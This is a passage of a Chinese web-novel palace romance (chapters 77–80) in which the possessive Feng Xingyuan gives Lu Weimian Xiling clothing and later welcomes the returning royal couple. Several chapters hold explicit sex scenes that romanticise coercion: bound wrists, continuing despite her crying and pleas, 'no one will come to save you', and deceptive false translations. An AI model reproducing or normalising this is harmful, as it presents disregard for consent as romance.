"与他碰上,他大概会想杀了我。“慕青辞还是知道幕景怀一直都很讨厌他的,淡声笑着,“最好还是不要与他碰面了。”慕青辞朝他们拱手行礼,“我先走了。” 钧宜回礼 封行渊抱臂靠在很远很远的地方,默不作声地看着慕青辞与自己家夫人告别。他是懒得听慕青辞那虚与委蛇、装模作样的说辞,但却冷不J看见慕青辞抱拳的方向转向了他。 封行渊将目光往天上一抛,装没看见。 慕青辞弯唇,转身上马离开。 马蹄声响彻在长安城的原野上,很快他的身影消失在山林间。鹿微民转身折返回去找封行渊。 封行渊仍然维持着抱臂靠在城门边的样子,手里把玩着一颗小石头。鹿微眠叫他,“走啦。” 封行渊手指轻转那颗鹅卵石,抬眼看她。鹿微眠走到他面前,封行渊才戏谑着问她,“怎么不问问我想去哪?” 77、第77章... 鹿微眠眨了下眼睛,才意识到这是她刚刚问慕青辞的话。 她深吸了一口气,配合着询问,“那你想去哪?” 封行渊慢条斯理道,“佘来之问,我不稀罕。” 鹿微眠绕过他,“你爱去哪去哪。” 封行渊见她从自己身边走过,这才站直身子追上去,“夫人去哪我去哪。” 鹿微眠前去庆典看了看,在曲江池用了晚膳,入夜才回到兴庆宫。这个时辰宫外的庆典还没有结束。宫内还挂着白日封赏的红绸,地上铺着红毯 这个时节的晚风吹在身上舒适宜人。空气中混合着长安城的烟火气,令人心旷神怡。 鹿微眠问封行渊,“你临走前,听慕景怀说他什么时候回来了吗?” “没说,”自打慕青辞走后,封行渊悠闲无比,“他只说自己随后就到,就是路途颠簸可能会晚一些。听起来,得有一阵子。” 鹿微眠了然。她记得她从姑苏离开的时候,春莺的病还没有完全好。想来短时间内,可能也不会让她再经历一番路途颠簸。 鹿微眠看着巍峨空荡的皇宫,如何也没有想过,她会这般清闲地住在这里。她一直觉得,这宫苑是吃人不吐骨头的地方。 封行渊不知道在想什么,反正自从他和她一起送走慕青辞之后,他心情看起来就很好。封行渊冷不丁开口,“我有一个礼物要送给你。” 鹿微眠狐疑地看着他,“什么礼物?” 封行渊像是想说,又克制住了自己,“回去你就知道了。” 有礼物总归是开心的,鹿微眠脚步也跟着轻快了些。他们回到兴庆宫,宫人纷纷行礼。 封行渊快步进门,刚刚拿出来一个大盒子。慕倚风的乳母嬷嬷就进来找鹿微眠,“娘娘您可回来了,小陛下一直哭呢,奴婢瞧着应当是想您了。” 封行渊抱着盒子,先放在了一旁的桌上。鹿微眠了然地答应了一声,转头跟封行渊打商量,“不然等我回来再看吧,孩子一直哭也不是办法。” 封行渊沉吟着,看她换了身衣料柔软的衣裳,“每日都要去哄那个小子啊。” 鹿微眠摘了大半钗环,“他才三个月,肯定是离不了人的。” 封行渊不理解,“不是有人看着吗?”鹿微眠起身,“那不一样,人家把孩子交给我了,我总要上点心。” 封行渊轻啧着,暗自嘀咕,“那个小傻子怎么还不回来。”鹿微眠与他支会一声,“等小风睡着了我就回来。” “我随你一起去。”封行渊倒要看看,什么小子比他还难哄。每日都要他夫人哄上个把时辰。 他们走到乾阳宫,正听见殿内的嬷嬷与慕倚风说着,“乖,娘娘这就来了,不哭不哭。” “小风。”鹿微眠走到摇篮旁边,慕倚风瞧见她吭吭哧哧地止住了哭声,咿咿呀呀地要抱抱。 鹿微眠将慕倚风抱了起来,“怎么了呀,哪里不舒服吗?”她拍着他的脊背,慕倚风很快就安分了下来,趴在她的肩头,蹭着她的颈窝。鹿微眠看向乳娘,“他是不是饿了?” 乳娘拿着陶壶,“方才要喂他,他不喝就一直哭,御医来瞧过也没其他毛病,八成就是想见娘娘了。”乳娘将陶壶递给鹿微眠,“恐怕,还是得娘娘来喂。”"瞧他果然是等娘娘来了就不哭了。" 鹿微眠拿过来,“小风,来…….乳娘帮衬着鹿微眠,将慕倚风放好喂奶。 封行渊听着鹿微眠与那小子说话的声音,眼底暗色流转。她都没有这么跟他说过话。 封行渊起身,走上前,“我来。”他说着,要拿过鹿微眠手里的陶壶。 视野之中突然间来了个陌生面孔,慕倚风有点害怕,紧紧抓着鹿微眠的衣角不松手。 鹿微眠见状,还是将他拦下,“他看你怪害怕的,你别再让他一紧张呛着。”封行渊只能作罢。 他就坐在旁边,看着鹿微眠拿着陶壶喂慕倚风。 陶壶是宫中所制,专门用来哺乳小儿的东西,小壶巴掌大小,两边各有一个小巧的把手,让小孩扶着。 慕倚风一边咬着壶嘴,一边偷看封行渊。一双黑亮亮的大眼睛忽闪忽闪。 封行渊大抵是带了个人情绪,总觉得小傻了的儿子看着也不太聪明的样子。但是他倒还挺会粘别人的夫人。 鹿微眠一边喂他,一边夸,什么“真棒”、“好厉害”,“小风太聪明了”这种话层出不穷。封行渊眉眼郁沉。夫人好久都没有夸他了。 封行渊视线在她和慕倚风之间打了个来回,紧盯着摇篮里的小孩子。 慕倚风不敢看他,转头又朝着鹿微眠的方向钻了过去,伸手要抱。 鹿微眠看封行渊一眼,“你不要吓唬他。”"我哪有吓唬他。" 鹿微眠没接话,拍着慕倚风的肩背,“好了好了,小风乖。不怕,他是个好人。”封行渊垮着的脸在听到鹿微眠这么一句话时,稍稍有了松动。 他偷偷看向鹿微眠鹿微眠还在哄孩子,“他就是有点固执、直心眼,但是本性不坏的。他和你爹爹一起出来,过几天你爹爹和娘亲也要回来了。” 哄的明明是慕倚风,封行渊却敛眸,悄无声息地勾唇。 慕倚风转头正好看见他笑的样子。封行渊对上他的视线,复而又故作高冷地将翘起的唇角压了下去。 慕倚风放松些许,但还是捧着陶壶面朝鹿微眠。鹿微眠一面帮他扶陶壶,一面拍他的脊背。小声与封行渊交代,“你对孩子就不能这样凶了,你要耐心一点,他就会乖一点。” 封行渊看着摇篮里的小孩,“我知道,很简单,我一学就会。” 鹿微眠示意,“那你来。”她让了个位置,坐在旁边看着封行渊笨拙地接过陶壶,另一只手拍慕倚风 好在这会儿慕倚风闭着眼睛,并不知道是谁在哄他。 起先还有些笨拙,这会儿他手上动作俨然熟练了很多,很快就将慕倚风哄得睡了过去。鹿微眠帮着他,把陶壶从慕倚风的嘴巴里拿出来。 两人双手交握,冷不丁有些许牛乳洒出。偏巧洒在了他们两人手指之间。 许是方向的缘故,鹿微眠手上沾了大半。牛乳洒在她白皙如玉的指尖,与他的手指交握,闻起来有些甜腻。 封行渊动作微顿,盯着那抹莹白染脏她的手指,像是想到了什么,喉结轻滚。 鹿微眠没有觉得有什么不妥,先将陶壶放到了旁边,封行渊突然将她的手拉了过去。他手掌力道将她拉得微微倾身,鹿微眠一下子朝他扑了过去。 封行渊拿过旁边的帕子,将她手上的乳白擦掉。 他动作很轻,帕子蹭过鹿微眠的手指,蹭得她发痒。封行渊将她手上擦干净,而后继续擦干净自己的手。但眼底的暗色依然没有消退。 鹿微眠叫来乳娘,看着慕倚风睡觉。他们先回了兴庆宫。 封行渊先去沐浴,鹿微眠坐在屋子里,围着临走前封行渊拿出来的那个盒子转了一圈。盒子是檀木所制,外面雕花繁复精巧,正中央画着一个图腾。仔细看上去,像是狼。 周围有宝石点缀。 鹿微眠找到了锁扣之处,锁扣大抵是早就被封行渊摘了下来,她稍稍一碰盒子就开了一个缝隙。缝隙间显露出里面闪闪发光的东西,很是漂亮。 鹿微眠拘谨地又将盒子扣上,犹豫着自己要不要提前打开。但还是好奇心胜过一切,将盒子打开。 最上面铺着一串宝石链,压着下面一件精巧的裙子。那串宝石链子样式复杂,鹿微眠拿起来看了看,好像是穿在身上的什么装饰品。上面挂着闪闪发光的宝石,坠在旁边,随着被拿起的动作,闪出盈盈光线。 将整个屋子都映照得流光溢彩。鹿微眠先将宝石链子放在旁边,看着下面的裙子。 这件裙子与封行渊从前给她买的裙子不同。甚至与中原的衣装服饰习惯也很不一样,腰身中空,布料很少,金线绣着各式各样的花纹,入目惊艳。这像是西陵的服饰。 她之前看过那个西陵巫师穿过这种样式的衣服。只不过这身衣服要比那人穿得精巧很多。是金红色系,像是凤凰的羽毛编制而成,光彩夺目。鹿微眠很是欣喜,趁着封行渊还没有出来,将衣服拿去换上。只不过她并不擅长穿西陵的服饰,穿得手忙脚乱,还没等穿好封行渊就已经出来了。封行渊出门在房间里没看到人,桌上的盒子也被抱走了。但是旁边放置衣物的小房间里传来很是混乱的声响,还有鹿微眠自言自语的嘀咕声,“这个是袖子,这个是什么啊……” 封行渊悠然地走到门边,饶有兴致地轻敲了下门,“要不要我帮你。”“不要,你不许进来,我自己可以。”鹿微眠说完就“哎呀”一声,“穿反了。” 封行渊站在外面听着轻轻弯唇。看着门板上的光影,能够想象到她手忙脚乱的样子。 约么两刻钟后,鹿微眠才从房间里走出来。她走路时,身上的珠玉宝石轻轻摇晃,墙壁上映出一道道弧光。这件衣服的衣料还是太少了,肩颈锁骨全部露出,微微发凉。 中原少见这般清凉的衣裙。鹿微眠拘谨地展开裙摆,“好看吗?” 封行渊眼尾噙着一抹笑,“好看。”他的视线落在她身上,那衣料稀少的感觉就更加明显。像是身体各处都暴露在他的视线之下。 鹿微眠转过身,回避他有些滚烫的视线,“我也觉得好看。”她对着自己的镜子,一面转着,一面打量着自己。 就是穿不出去。她也就只敢在屋子里穿一穿。 封行渊走上前,站在她身后,低头告诉她,“这是西陵女子及笄后的常服,我给你做了一件。”鹿微眠动作一滞,抬头看他,她几乎能在他的黑瞳中,看到她如今的样子。 鹿微眠不太好意思地又移开视线。 封行渊还在满意自己的手笔,目光灼灼,“我就知道你穿上很合适。”他手指撩拨着她衣衫上的珠宝链,说话时,气息就在她裸露出来的肩上,“不过阿眠还是穿反了。” “啊?"鹿微眠低头看了看自己的裙子,“我对了好久的。”“裙子没反。”封行渊勾住她穿在外面的小金链,“这个反了,要穿在里面。” 鹿微眠以为那是挂在外面的装饰,没明白他说的是什么里面,“衣服里面?” “嗯。”封行渊应着,压低身形,手指顺着金链下滑到她后面的裙子束带。 鹿微眠感觉到后脊粗砺指腹所过之处泛起酥痒,听到他在她耳边说着,“这个,我帮你穿。” 78、第78章... 说完,男人手指勾住了她的系带,将用来束缚短衣的绳带拉开。 鹿微眠胸口一空,身前那片短短的衣料失去束缚力道下滑,她伸手挡了挡,“我还是自己来吧,你告诉我怎么穿。”封行渊微微倾身覆在她耳边,从镜子里看她,“要是自己穿错了,再穿一遍?” 鹿微眠停顿片刻,一想到这衣服穿起来有多么麻烦,还是放弃了这个想法。她方才穿了很久,已经筋疲力尽了,再多来几遍怕是就不用睡觉了。 封行渊抽开绳带的动作继续,鹿微眠透过铜镜看着他的动作,不自觉的耳根发热避开了眼前的铜镜,推操着他,“不要在镜子面前。” 封行渊视线描摹着她的身形,"很好看啊,怎么敢给我看,不敢自己看?" 鹿微眠嘟嘟囔囔地拒绝,“不要镜子。” “好。”封行渊带她去内殿,关上房门,转头看见鹿微眠坐在床榻边,手还按在胸口,不让已经松散的衣裙滑下去。 封行渊缓步上前,看着她的动作轻轻弯唇,“阿眠,松手。” 鹿微眠抿唇,很不自在地将手放了下去。封行渊手指轻轻一扯就将她身前衣料扯开,然后是手臂上的薄纱袖子。 鹿微眠显得很紧张,以至于他帮她脱衣服的时候,她有些僵硬。 下一步是裙子。 “这么紧张吗?”封行渊解开她裙带的时候,眼睛是看着她的,“又不是第一次被我……” 鹿微眠打断他,不让他说完,“那不一样。”正儿八经地换衣服,跟情浓之时褪下衣衫还是不一样的。“做那种事就不紧张了?”封行渊说完,又自己给了自己答案,“你那种时候也挺紧张的,要给你放松好久。”封行渊拿起旁边的宝石金链,轻而易举地便找到了穿戴它的方式。鹿微眠从来都没有穿过链子一样的衣服,衣链从她的颈间绕过,分挂在胸口两侧,中间宝石从胸线坠下,再到腰身分开垂坠在腰间。轻而易举地勾勒出窈窕的身形轮廓。封行渊手指灵巧地帮她调整金链的位置,时不时触碰到温热的肌肤。他太熟练了,像是已经在脑海中给她穿过无数次这种衣服,如今终于有机会亲自动手。鹿微眠被碰得心跳急促,偷偷看了他一眼,发现封行渊手上虽然是正经的,但眼神混合着不易察觉的欲气,眸色暗沉。明明是盯着链子,但也能看到宝石金链之下一碰就红的肌肤。封行渊眼底的红痣光色,映着宝石金链一闪一闪的微光。他想真好看。就像是当初他在帮她做这条裙子时,想象的一样。宝石金链正好经过她胸口红痣。将那抹红勾勒得更加妖冶夺目。封行渊还是没忍住,在整理好链子之后,俯身吻在了那颗红痣上。鹿微眠轻轻一抖,颇为不自在的连忙用手遮挡在身前。手臂按压出圆鼓鼓的轮廓,将宝石金链也带动得更显身形。她浑身上下都随着金链装饰闪闪发光。封行渊剑眉轻蹙,手掌顺着金链描摹过她的身形,长吻并没有松开,而是逐渐移动到其他位置。渐渐变了味道。他帮她整理金链的动作也改换了整理方式和力道。鹿微眠被他手掌的力道带得身体朝他贴了过去。在封行渊片刻的理智回笼,想停下来帮她继续整理衣物时,鹿微眠正好与他深不见底的血色异瞳对视。封行渊再度丧失理智,扣住她的后颈,覆上她嫣红唇瓣。鹿微眠被啃噬吮咬着,由浅入深,用力研磨在她的唇间。她的身上只穿了一条宝石链,这让鹿微眠很难为情,提醒他,“我们不是还要穿你送我的…….“先不穿了。”封行渊扣住她的腰,将人用力往床榻里侧一带。鹿微眠身体有片刻的悬空,接着落在了鸾榻柔软的锦被上,身体轻轻一弹还未落下就被他的身形压覆笼罩。鸾榻之外的红色纱帐落下来。一件一件衣衫从纱帐里面扔出,落在旁边,与原本应该穿在鹿微眠身上的衣裙覆盖、交叠缠乱不已。如人一样。那宝石金链分成很多部分,在大腿上也有一串,绑束在腿上。封行渊握住,轻吻那处金链,而后一路上移。宝石金链往下垂坠,随着动作而轻轻摇晃着。映照在周围纱帐床幔之上,晕出一层层光晕。宝石和链子撞在她身上的感觉很奇怪。零零散散细细密密地往她身上撞。偏偏封行渊也是。集中的触感之外,身上各处的宝石金链都紧随其后地给予她细微的酥。在他离开后撞上来,在他过来时又离开。争前恐后,像是无数抚动她的羽毛。封行渊早在她第一次阻拦他的时候,就将自己的躞蹀带绑在了她的手腕上。这会儿鹿微眠双手被束缚,被封行渊一只手拉住,按在头顶,完整地欣赏着眼前的一切封行渊呼吸沉重,另一只手一遍又一遍的描摹着眼前令人沉醉的画卷。“阿眠真应该看看,自己现在有多美。”封行渊将自己压紧她,病态地重复着,“你是我的。”“阿眠只能是我的。”这样美的夫人,是他一个人的。鹿微眠不理解,这种失态的时候一定丑死了。她甚至时常别开头,不让封行渊看她,但每每都会被他强硬地转过去。逼着她看清楚,他正在做的坏事。她总是不知道为什么他这么喜欢。就在鹿微眠出神的时候,忽然间被他揽着腰抱坐起来。突如其来的变动,惹得鹿微眠一声低呼,还没等适应过来,又被抱起身,往鸾榻之下走过去。鹿微眠是受不了他每次都爱抱着她下去,连忙出声,“去哪,你………”封行渊没有回答她,而是直接走到了镜子面前,将人放下按在了镜子前,握住她的下颚抬起,“阿眠看,是不是很好看。”铜镜等身高,是放在屋子里用来梳妆更换衣着的。鹿微眠闭着眼睛摇头,忽然被撞上了镜子,“看着。”这话语就沾上了强硬,“再不看,我就要罚你了。”鹿微眠呜咽着,手指想要抓什么,只能抓住偌大的铜镜边缘。封行渊轻咬她耳尖,再度问她,“是不是很好看?”鹿微眠不敢细看镜子里的画面,只是听着宝石链子叮叮当当作响,碰撞在镜面上。很奇怪的感觉。封行渊“嘶”了一声,“只是看一看也紧张啊。”“夫人好容易紧张害羞。”他将她抱得更紧,也欺负得更加厉害,“怎么办,我好喜欢。”他甚至想用更会让她害羞的方式来欺负她。铜镜上画面被热气熏蒸出来了一层水雾。鹿微眠对于还未发生的一切都生出了些本能的恐惧。紧张感更甚,却是更加适合让他施行他的阴谋诡计。明明是凉爽的秋日,但屋内燥热无比,能将人熏蒸得大汗淋漓。镜面上水雾气息更加浓重只剩下朦朦胧胧的光影,以及被手指抓出来的一道道指痕。乱七八糟的,什么也看不见。在哭声中,镜面被冲刷喷洗干净,映照出屋内的情景。衣服是不能继续穿了,封行渊将人抱去浴殿清洗。浴桶里洒满了花瓣,封行渊将水中花瓣拨开,鹿微眠不得不睁开眼睛看着他,疑惑于他的动作,“你在干嘛?“封行渊很认真地清理着,一时半刻并没有回答她的问题。只有将东西弄出来之后,才解释道,"夫人这里不能有别人。"什么意思?鹿微眠没听懂。但下一句,她懂了。封行渊按了按她的小肚子,"夫人这里只能有我在。"鹿微眠明白他在说什么之后,觉得屋内的温度瞬间烧了上来,“你胡说八道什么啊。”"如果有……"”鹿微眠声音细若蚊蝇,“那是你的宝宝啊。"“你是我的宝宝。他我不认识。”封行渊对血缘亲疏没有概念,也不想有。他并不想让他们之间多出来一个陌生人,像慕倚风一样。以后万一还要睡他们中间怎么办。鹿微眠不这么想,“你的孩子,应该会很漂亮可爱,也很我听话。”“听话的有我一个就够了。”封行渊不知为何,听到鹿微眠提起孩子,会萌生出嫉妒心。嫉妒幻化成悄无声息地火苗,开始灼烧他的每一寸肺腑。暗火燎原,封行渊觉得清理早了。手上的力道不知什么时候变了味,他再度俯身上前,趁势将人压在了浴桶边,“你的心里只能有我一个。”鹿微眠看他身影再度压过来,“你刚刚还说你听话,你哪里听………”“这个不听,这个你听我的。”封行渊说,“我们今天,试一试连续好不好?”这话根本不是在询问鹿微眠的意见,而是告知她,他即将要做的事情。浴桶中水面被拍打着,鹿微眠想要歇一会儿,但水面上的玫瑰花瓣再度被拨开。对于末知的恐惧,还是让鹿微眠神经绷紧,“什么连续啊……”封行渊低声解释,“很好玩的。”好玩到她想不起来什么陌生宝宝。只能想到他。 79、第79章... 水汽氤氲潮湿,屋外秋夜更深露重,屋内宛如盛夏雨夜。 潮湿闷热,连呼吸间都是浓重的水汽,沁入肺腑。 像是有炭火在灼烤,将每一寸发肤都烧得滚烫。 浴桶中的水不断外溢,重重的击打在外面的地毯上,飞溅出无数水花。地板上没有一处是清静的。 鹿微眠眼前光影不断摇晃,挣动无力,膝盖不经意地剐蹭到。稍稍一用力就会踹在浴桶边,带来更加强烈的震荡。 仿佛浴桶都会被她踢破一般。 封行渊只爱怜地捏回来,牢牢掌控着,“踢坏了就要摔倒了。”鹿微眠看着他,已经顾不得去想他在说什么了。 鹿微眠发现,她与封行渊相处的每一天都像是盛夏。热烈盛大,漫天烟花。烟火气息与野性混杂在空气中,像是稍稍碰触一丁点火星就会爆发。 她神经绷紧,直到脑袋里骤然劈过一道白光,轰然炸开。璀璨而盛大的烟花在她脑海中炸开,散落出来的星星点点仍然在噼里啪啦地爆裂着。 每一个散落的火星都灼烧着她。不等烟花消散,又一道白光闪过,将那原本细小的烟花力量加重。 近乎濒死的失控感让鹿微眠“垂死挣扎”起来。一时失神竟然喊出了,“救命……” 她手忙脚乱地想要躲避这个会让她有濒死体验的触感,扶着木桶。不等逃离,便又被拖了回去。 封行渊低头,说话间如同地狱而来的修罗,告诉她,“不会有人来救你的。” 话落,又一朵烟花顺着她脑海中未曾熄灭的火星中接连炸开。 一朵一朵,仿佛永不停息,将她四肢百骸都侵蚀填满,无孔不入地啃噬着她所有的神经。消磨损耗着她的意志力。 鹿微眠哭出了声,“不能连续。”封行渊不接话,反而更加恶劣。 他给她准备的烟花,每一次都能铺天盖地地将她覆盖。像是过年那一场盛大的黑夜烟火,整片天空都被烟花覆盖,她眼前是接连不断的光影明灭。 过于灿烂,鹿微眠在最后一次白光乍亮时,失去了意识。 封行渊扶了扶她歪在旁边的小脑袋。看她脸颊上还沾染着水珠,浸润着她细腻的绒毛,“这就晕过去了。” 他俯身低头,咬破唇瓣,以血渡她。 鹿微眠不知道自己什么时候醒过来的,但是不敢让他知道自己醒了。方才的一切仿佛一场瑰丽而癫狂的梦,任由他乖乖地将自己收拾干净,抱她回去睡觉。 这种时候比起刚刚,仿佛两个人一般。 鹿微眠动都不敢动一下,屏气凝神地装晕,被他放进被子里,从身后环住。他像是一个粘人的小兽,手指不算老实地滑过她的鬓发脸颊,又亲了亲她的耳朵。最后以准备睡觉的姿态将她抱进怀里,手指轻轻点动着她的小肚子,悠然道,“我知道你在装睡。”鹿微眠蓦的心尖一颤。本就还没有消散的战栗感从身体记忆中浮现出来。封行渊也没有想要难为她,只是将她抱得更紧,“别怕,睡吧,明晚再继续。”衣服还是第二天才又穿好试的。到底是中原穿不出去这样的衣服,也就是在屋里试试。鹿微眠其实有点遗憾,这么好看的衣服只能放着。但封行渊靠在旁边,暗自想着,还好这边不方便穿出去。鹿微眠想起什么来,转头看他,“要不要等慕景怀回来,你带我去西陵玩?”封行渊眉眼微动,“西部风沙大,你未必喜欢。”鹿微眠想了想,“我又不在那里长住,不是还要回来吗?”封行渊也没有久居西部的打算,他就住在长安处理西陵的事情也没有什么区别。只不过,西陵各族的规则模式与中原不同。分成几个族群,每个族群都有首领,但以王室为尊。在族群还没有驯化之前,有一个不成文的规定。各族首领可以挑战王室,成功之后,就会继承王位,包括抢夺王后。只不过战事爆发以来,没人有心思关注除了生存之外的其他事情。但现在不一样了。战事初歇,一切重建。封行渊可不想鹿微眠一去就被盯上。被盯上,他又要杀人了。好烦。不想当着夫人的面杀人,损害他善良单纯的形象。鹿微眠问他,“你会说西陵话吗?”“会一点。”封行渊毕竟不是从小在西陵长大,只不过后来征战在边关,在身边带着的都是西陵人。听懂没有问题,只不过不常说。鹿微眠好奇,“那你教我几句好不好?”封行渊敛眸,顺嘴说了一句,“阿斯喀(亲爱的)。”鹿微眠听不懂,“这个是什么意思?”封行渊微顿,“你好的意思。”他扬眉,“说来听听?”鹿微眠跟着他学道,“阿斯喀(亲爱的)”“这么简单啊。”封行渊弯唇,“就是很简单。”鹿微眠又问他,“还有别的吗,比较常用的。”封行渊眼底暗潮涌动,“萨伊曼(我永远爱你)。”他煞有介事道,“这是欢迎你的意思。”鹿微眠低声喃喃着,学他的话,重复了两遍。封行渊眼尾笑意愈发浓烈。鹿微眠也不知道封行渊为什么越听她说话越高兴,就这么喜欢她欢迎他吗。正巧这时,屋外有人敲门。沛芹前来禀报说,“西陵长老在前殿候着了。”“我这就过去。”封行渊转头问她,“要我先帮你换下来再走吗?”鹿微眠暂时不想再让他给自己换衣服了,她怕换着换着就出不去了。她嘟囔着让他先走,“换下来我自己还是可以的,你去忙正事。”封行渊看得懂她的意思,唇角带着似有若无的笑,先离开了屋子。这身衣服到底穿不出去,鹿微眠怕一会儿有人来找她,她总不好穿着这一身衣服去见朝臣。鹿微眠叫来暮云帮她把衣服换下来,换上常服。约么一个时辰后,封行渊折返回来,“西陵那边来了人,在郊外,我需要去见一下。”“都谁来了?”鹿微眠起身,“要我跟你一起去见吗?”“不用,"封行渊想把她藏起来还来不及,“无非是各族首领。”若是寻常人来,直接入宫即可。不过这些人到底还是不太能相信中原。封行渊思前想后,跟他们说事情恐怕一时半会儿回不来,“我可能要在那边呆几日。”鹿微眠了然点头。她清楚如果是西陵的各族首领过来找封行渊,肯定有很多正经事要说,“那你去吧,有什么事情记得差人来信。”虽然去的时间久一点,但好在距离算不上远。“好。”封行渊欲言又止,像是想要说什么,但是没能说出口。犹豫了一下,先离开内殿。鹿微眠抿唇,看着他离开兴庆宫。这算得上是他回来之后,第一次离开这里出去几天。鹿微眠感觉有些奇怪。不过倒也没什么,他很快就会回来了。鹿微眠照旧在兴庆宫处理着宫中的各项事宜,到时间去把慕倚风哄睡,再回来。头两日还好,一切如常。直到第三日,鹿微眠心下那股微妙的空荡感就愈发明显。她哄过慕倚风折返回宫殿,一个人走在宫殿看着只有她一个人的大殿,轻叹了一口气。还是有点不适应。回到房中,暮云帮她梳洗,见鹿微眠一直发呆,不由得笑,“想大人了?”“哪有,"鹿微眠摆弄着手上的茶盏,“我只是在想他事情谈得顺不顺利,需不需要帮忙。”说起来,“今日他有送信回来吗?”暮云摇头,“今日没有,不过大人明日应当就回来了。”前两日封行渊都有送信回来,今日………许是事情繁多,在忙正经事。鹿微眠收敛思绪,“没有就算了。”暮云问她,“那今晚要奴婢陪你吗?”“不用,你回去休息吧。”鹿微眠示意,“墨宝一会儿就进来了。”暮云顺着鹿微眠,先离开了房间。果不其然,临睡前,墨宝不知道从哪里钻了进来。封行渊不在的时候,它总是可以放心大胆地跟鹿微眠睡觉,不用担心被扔出去。墨宝迈着懒洋洋地步伐,咬着小被子就找到了鸾榻边找了个舒服的地方,等鹿微眠。鹿微眠这会儿毫无睡意,在梳妆台前坐着发呆,视线鬼使神差地看到了旁边放着的那个盒子。现在时辰尚早,鹿微眠起身朝着那个盒子走了过去,打开看到里面的西陵常服。没有女孩子能拒绝这般闪闪发光的漂亮裙子。鹿微眠真的很喜欢这件裙子。连一旁墨宝看见都忍不住起身,跑到鹿微眠身边扒拉裙子上垂坠的宝石。鹿微眠尝试着自己换上,有了前两次的经验,这一次要顺利很多。她抱着墨宝,对着镜子左右看了看。像是在问墨宝,“他明日回来,我穿着他们家乡的衣服等他回来该如何?” 墨宝“喵喵喵”地叫着,也不知道在说什么。 鹿微眠暗自嘀咕,“好像有点隆重刻意了。”她站在旁边又看了一会儿,身上的宝石跟璀璨星辰一般闪烁着明媚的光点。 可是这本就是他送的,总不能一直压着吃灰….…那鹿微眠是舍不得的。 鹿微眠将墨宝放在桌子前,面对着墨宝,想象着明日他回来,她就这样说,“你回来啦。”墨宝配合地应了一声。 “不对,”鹿微眠轻轻甩了一下袖子,甩得宝石叮当作响,“好普通。” “夫君我想你了。” “不行,好腻歪。” 鹿微眠转换着说辞,尽量找一个不算刻意、不显尴尬的方式练习,“阿轸、阿渊?封行渊?欢迎回来?” 很奇怪。 鹿微眠终于想到了他教她说欢迎的西陵语,眼睛亮了起来。 她走上前开心地抱起墨宝,轻轻转起裙摆,身上宝石也跟着翩跹而起,“阿轸,萨伊曼(我永远爱你)……” 鹿微眠转过身的同时,好巧不巧与靠在门口饶有兴致看她的封行渊对视! 80、第80章... 鹿微眠脸上的笑容戛然而止。 衣裙上的宝石随着她转身停止的动作,碰撞在她身上,发出叮叮当当的声响。 封行渊唇角噙着浅淡的笑,朝她走过去。 鹿微眠窘迫非常,脸颊涨红,“你什么时候回来的?”"从你说想我开始。" "那那那……"”鹿微眠很想找一个地缝钻进去,“你怎么走路没声呢?"封行渊眼尾是止不住的笑意,“看你玩得开心。” 封行渊嗓音很低,扶住她的脸颊,“不是准备了很多欢迎我的说辞吗?怎么真见到我就不说了。” 鹿微眠这会儿实在是说不出口,“你方才不都听到了,我就不说了。”封行渊沉吟着,“可我还想听。” “那我也不说了。”鹿微眠抱着墨宝掉头就要走,被封行渊拦住肩膀拉了回来,扣住她的后颈,低头吻上她嫣红唇瓣。 屋内灯火摇晃。 暮雨在寝宫外值守,没多久就看见,墨宝叼着小被子垮着小脸从寝宫溜达出来。 暮雨的哈欠打了一半,熟稔地抱它,"又被赶出来了,墨宝。"墨宝可怜巴巴地趴在暮雨怀里,蜷起尾巴。暮雨缓慢地理顺墨宝身上乌黑发亮的毛发。墨宝脖子上挂着比从前更加璀璨的珠宝,与夜晚星辰一同闪闪发光。 屋内,封行渊用着足以逼迫鹿微眠胡言乱语地方式,让她一遍又一遍说出他想听的话。书架上的书本被撞得砰砰作响。 鹿微眠眼尾沁湿,泪花不停地在眼眶里打转。哭音被他逼迫说着,“萨伊曼”。 说出来,她觉得好奇怪。怎么能这样一直说欢迎呢。 鹿微眠强烈的羞耻心,让她哽咽着拒绝他,“我不要欢迎你。” 封行渊动作微顿,意识到在她的认知里这话是什么意思之后,反倒让他呼吸愈发沉重。 他忽而低笑了一声,“不欢迎我吗?”“你这不是挺欢迎我的?” 鹿微眠扣住书架,眼前光影混乱,让人有些天翻地覆的错觉。更深露重,夜色绵长。 西陵各族首领与皇室谈好重建与附庸相关事宜之后,便启程回了西陵。鹿微眠想着自己身为朝廷当下的话事人,按照礼节规矩,多少还是要见见他们,设宴款待。提了几次,都被封行渊拒绝了。 他说他们那些人粗枝大叶,吃不惯长安的饭,直接把人赶走了。 鹿微眠总归也没有多想。 今年秋日的长安城似乎格外平顺。 日子无比清闲。 约么冬日到来之前,慕景怀与春莺回了京城。举国欢庆又热闹了一阵子。 鹿微眠再见春莺时,看她气色更胜从前。春莺进门就拉住了鹿微眠的手,随她一同入殿。 鹿微眠看到春莺从前的散发变成盘发,问她,“你们莫不是在外面成婚了?” 春莺弯起眼睛,脸颊上带出一抹桃花粉。伍奚在旁边解释,“两位主子都觉得宫中婚事过于繁琐,也不想招摇过市,就在江南完婚了。”“还是邓知府主婚。” 鹿微眠想来也是,“江南风景好,在那里完婚也是不错的。”还能在沿路游玩。 封行渊嗤笑一声,“难怪你们这点路走了几个月。”他敲了一下围栏小木床,“快把你们的崽带走,自己看。” 这个崽的爹娘来了,就不会整日缠着他的夫人了。 慕景怀净过手才走到木床边,慕倚风近半岁,已经开始知道爬起来看人了。他基本不认生,除了看见封行渊,见其他人通常不会害怕。 慕景怀过来,慕倚风也就睁着一双水汪汪的大眼睛,小心观察着来人。乳娘帮衬着慕景怀把孩子抱起来,告诉他,“这是你爹爹。” 慕景怀伸手,“要不要爹爹抱。”慕倚风呆愣愣地看了他一会儿,大抵是这些时日经常听到鹿微眠和封行渊提起这个称呼,乍一听到也没有耳生,只是自顾自的适应片刻后,朝慕景怀伸出手。 慕景怀颇为意外,接过白白软软的小糯米团子时,仿佛心尖都被融化。慕景怀像是抱了一个宝贝一般,仔仔细细地看着怀里的慕倚风,不由得发出感叹,“你们养得可真好。” “每日都哄,能不好吗。”封行渊这话里带了情绪。 鹿微眠反正是听出来了,多看了他一眼,“你们准备什么时候办换位?” “换什么位,”慕景怀是没这个心思,“不换了,让他在皇位上呆着我看挺好的。” 屋内众人齐齐看向慕景怀。毕竟这样的先例怕是当朝从未出现过。 慕景怀心情舒畅,说话不像是在开玩笑,“总归日后都是他的,干嘛还要再让他下来。”“我在宫中关着时间久了,总是让我去见人交谈,我也不习惯。他尊我为太上皇,我也乐得清闲。” 一旁大太监支支吾吾,“这,不合规矩。” 